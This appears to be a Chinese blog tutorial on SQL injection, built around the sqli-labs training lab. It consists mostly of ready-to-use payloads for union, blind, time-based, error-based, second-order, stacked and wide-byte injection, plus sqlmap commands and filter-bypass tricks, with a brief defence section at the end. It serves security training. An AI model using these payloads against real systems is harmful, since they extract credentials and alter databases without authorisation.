个人觉还是很详细,对你一定帮助。也是我自己花了不少时间总结的。可以通过sqli_labs靶场练习一下。下面是靶场所有关卡的讲解。有兴趣可以看看
详细sqli-labs(1-65)通关讲解_糊涂是福yyyy的博客-CSDN博客_sqlilabs通关
目录
1.SQL注入原理
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
2.SQL注入过程
3.SQL注入点判断
1.?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。
SELECT * FROM users WHERE id=1 and 1=2
2.?id=1' and 1=1--+/#和?id=1' and 1=2--+/#进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。
SELECT * FROM users WHERE id='1' and 1=2-- '
3.?id=1'and 1=1 and '1'='1和?id=1'and 1=1 and '1'='1进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。
SELECT * FROM users WHERE id='1' and 1=2 and '1'='1'
4.?id=1%' and 1=1 and '%'='%和?id=1%' and 1=2 and '%'='%进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为搜索型注入。
SELECT * from table where users like '%1 %' and '1'='1' and '%'='%'
5.?id=1%' and 1=1--+/#和?id=1%' and 1=2--+/#进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为搜索型注入。
4.SQL注入分类
根据参数类型:字符型,数字型、搜索型
根据提交方式:POST注入,GET注入,HTTP HEAD注入
根据有无回显:联合注入,报错注入,布尔盲注,延时注入
其他注入:堆叠注入,宽字节注入,二次注入等
4.1联合注入(sqli-labs第二关)
当页面有数据显示。
4.1.1 注入点判断
?id=1 and 1=1
?id =1 and 1=2
4.1.2 判断列数
?id=1 order by 3
4.1.3 爆出显示位
?id=-1 union select 1,2,3
4.1.4 爆数据库,版本
?id=-1 union select 1,database(),version()
4.1.5 爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
4.1.6 爆列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
4.1.7 爆账户密码
?id=-1 union select 1,2,group_concat(username ,id , password) from users
4.2布尔盲注(sqli-labs第五关)
当页面数据显示很少,有报错页面和正确页面进行对比。
4.2.1 注入点判断
?id=1' and 1=2--+
?id=1' and 1=1--+
4.2.2 爆数据库
?id=1'and length((select database()))>9--+
?id=1'and ascii(substr((select database()),1,1))=115--+
4.2.3 爆表
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
4.2.4 爆列
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
4.2.5 爆账户密码
?id=1' and length((select group_concat(username,password) from users))>109--+
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
4.3延时注入(sqli-labs第九关)
如果页面始终只有一个,我们可以使用延时注入,通过反应时间来判断。
4.3.1 注入点判断
?id=1' and if(1=1,sleep(5),1)--+
4.3.2 爆数据库
?id=1' and if(length((select database()))>9,sleep(5),1)--+
?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
4.3.3 爆表
?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
4.3.4 爆列
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
4.3.5 爆密码账户
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
4.4报错注入(sqli-labs四十六关)
当页面显示数据很少,但是存在报错信息。
4.4.1 updatexml报错注入
UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值
当我们XPath_string语法报错时候就会报错
4.4.1.1 爆数据库和版本
123' and (updatexml(1,concat(0x5c,version(),0x5c),1))--+
123' and (updatexml(1,concat(0x5c,database(),0x5c),1))--+
4.4.1.2 爆表
123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))--+
4.4.1.3 爆列
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))--+
4.4.1.4 爆账户与密码
123' and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1))--+
123' and (updatexml(1,concat(0x5c,(select username from users limit 0,1),0x5c),1))--+
123' and (updatexml(1,concat(0x5c,(select password from users where username='Dumb' limit 0,1),0x5c),1))--+
4.4.2 extractvalue报错注入
extractvalue(XML_document,XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
作用:从XML_document中提取符合XPATH_string的值,当我们XPath_string语法报错时候就会报错
4.4.2.1 爆数据库和版本
1' and (extractvalue(1,concat(0x5c,version(),0x5c)))--+
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))--+
4.4.2.2 爆表
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))--+
4.4.2.3 爆列
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))--+
4.4.1.4 爆账户与密码
1' and (extractvalue(1,concat(0x5c,(select group_concat(password,username) from users) ,0x5c)))--+
1' and (extractvalue(1,concat(0x5c,(select username from users limit 0,1) ,0x5c)))--+
1' and (extractvalue(1,concat(0x5c,(select password from users where username='Dumb' limit 0,1) ,0x5c)))--+
4.4.3 group by报错注入
*主要是由于floor(rand(0)2)生成的是为随机数011011。在进行统计时候由于在插入表格会被再次执行一次会导致健的重复。从而导致报错。
4.4.3.1 爆数据库和版本
123' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))--+
123' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2))) --+
4.4.3.2 爆表
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2))) --+
4.4.3.3 爆列
1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2))) --+
4.4.3.4 爆账户与密码
1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select username from users limit 0,1),0x7e,floor(rand(0)*2))) --+
1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1' limit 0,1),0x7e,floor(rand(0)*2))) --+
4.5二次注入(sqli-labs第二十四关)
二次注入是因为对于存储到数据的数据没有经过过滤验证,且从数据库提取数据时候也没有进行过滤验证。
看一个列子
首先我们看到管理员账户,admin,密码是1,但是通常情况下我们是不知道密码的,只能猜测管理员账户的admin
我们可以注册一个账号名叫admin'#。可以看到我们成功将有污染的数据写入数据库。单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。
之后可以使用用户名admin'#和密码是123456登录,进入修改密码页面。原始密码输入123456,新密码我输入的是111111,可以看到密码修改成功。
当我们数据库查看的时候发现修改的是管理员的密码。而不是我们的注册账户的密码。
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
4.6 堆叠注入(sqli-labs第三十八关)
堆叠注入要求可以支持多条sql语句同时执行,其他sql注入只能查询数据,堆叠注入可以进行增删改查。
以mysql数据库为例,如果使用mysqli_multi_query函数,该函数支持多条sql语句同时进行。
?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
**4.7 **宽字节注入(sqli-labs第三十二关)
当某字符的大小为一个字节时,称其字符为窄字节。当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。
数据库使用一些转义函数,在引号前面自动加上\。由于数据库采用GBK编码, \的url编码是%5c,所以会认为 %df%5c 是一个宽字符,也就是縗。
**1.**爆数据库
?id=-1%df%27 union select 1,database(),3 --+
2.爆表
?id=-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
3.爆列
?id=-1%df%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+
**4.**爆账户与密码
?id=-1%df%27 union select 1,group_concat(password,username),3 from users--+
5.SQLmap使用
SqlMap 是一款强大的开源渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。自带字典 功能强大 界面优化友好 多平台运行它配备了一个强大的探测引擎,为最终渗透测试人员提供很多猥琐的功能可以access,mysql,mssql等数据库的 注入 拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令。
5.1 get方式注入
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1"
探测数据库
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" --dbs
探测当前数据库
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" --current-db
探测表名
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" -D security -T users
探测字段名
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" -D security -T users -columns
探测字段值
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" -D security -T users -C password,username –dump
5.2 post方式注入
sqlmap -u "http://192.168.116.128/sqli-labs/Less-11/" --data="uname=1&passwd=2&submit=Submit"
可以抓取http数据包保存为post.txt文件,执行sqlmap -r post.txt
5.3 Tamper脚本注入
在usr/share/sqlmap/tamper目录下有各种脚本文件。Sqlmap可以指定脚本进行过滤。可自定义脚本。
sqlmap -u "http://192.168.116.128/sqli-labs/Less-28/?id=1" --tamper="sqli-labs-28.py" –dbs
5.4 指定sql语句注入
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" --sql-shell
5.5 指定参数注入
--level: 设置测试的等级,一共有5级。
1:默认
2:检测cookie
3:检测user-agent
4:检测refere
5:检测host
sqlmap -u "http://192.168.116.128/sqli-labs/Less-20/" --cookie "uname=admin" --level 2
sqlmap -r cookie.txt -p cookie --level 2 --dbs
具体命令可以参考sqlmap参数大全|sqlmap命令详解 - 知乎
6.SQL注入过滤与绕过
6.1 关键词过滤
大小写绕过,双写绕过,编码绕过。例如ununionion,selselectect,uniunion selecton select,UnIon,SelECT
6.2 空格过滤
使用括号代替空格(报错注入),使用两个空格,使用Tab代替空格,使用回车,使用%0a 使用/**/代替空格
6.3 逻辑运算符过滤
or使用||代替,and使用&&代替 ,xor使用|代替,not使用!代替
6.4 注释符过滤
使用And '1'='1, %23
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1(sqli-labs27-a关)
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0(sqli-labs26关)
6.5 引号过滤
使用十六进制,宽字节
?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273--+(sqli-labs32关)
6.6 逗号过滤
在使用盲注的时候,需要使用到substr(),mid(),limit,这些子句方法都需要使用到逗号
**1.**对于substr、substring()和mid()方法可以使用from的方式来解决
?id=1'and ascii(substr((select database()),1,1))=115--+
?id=1'and ascii(substr((select database())from 1 for 1))=115--+
**2.**使用join
union select 1,2 可以使用下面的句子代替
union select * from (select 1)a join (select 2)b
?id=-1' union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C)--+
4.limit中,使用offset绕过
limit 1offset0
**6.7 **等于号绕过
1.使用like
2.使用!<>,因为<>是不等于
3.regrep (正则表达匹配)
4.between a and b :范围在a-b之间 (也可用于 = 绕过:id between 1 and 1 与 id = 1 效果相同)
?id=1'and length((select database()))=8--+
?id=1'and length((select database())) like 8--+
?id=1'and length((select database())) regexp 8--+
?id=1'and !(length((select database()))<>8)--+
?id=1'and length((select database())) between 8 and 8--+
6.8 函数过滤
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
6.9 大于小于等于
1.greates(n1,n2,n3,...): 返回n中的最大值
?id=1'and greates(ascii(substr((select database()),1,1)),114)=115--+
2.least(n1,n2,n3,...): 返回n中的最小值
3.strcmp(str1,str2): 若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个参数,则返回-1,其他情况返回1
4.in 关键字,str1 in str2 字符串1是否在字符串2中
6.10 http参数污染绕过
函数检查的时候只检查第一个参数,但是$id=$_GET['id']取的是最后一个id,所以我们只需要把payload放在后面的id就好。
?id=1&id=-2%27 union select 1,group_concat(column_name),3 from%20information_schema.columns where table_schema=database() and table_name='users'--+(sqli-labs29关)
7. SQL注入防御
1.采用预编译
2.采用正则表达式过滤转义输入的参数
版权归原作者 糊涂是福yyyy 所有, 如有侵权,请联系我们删除。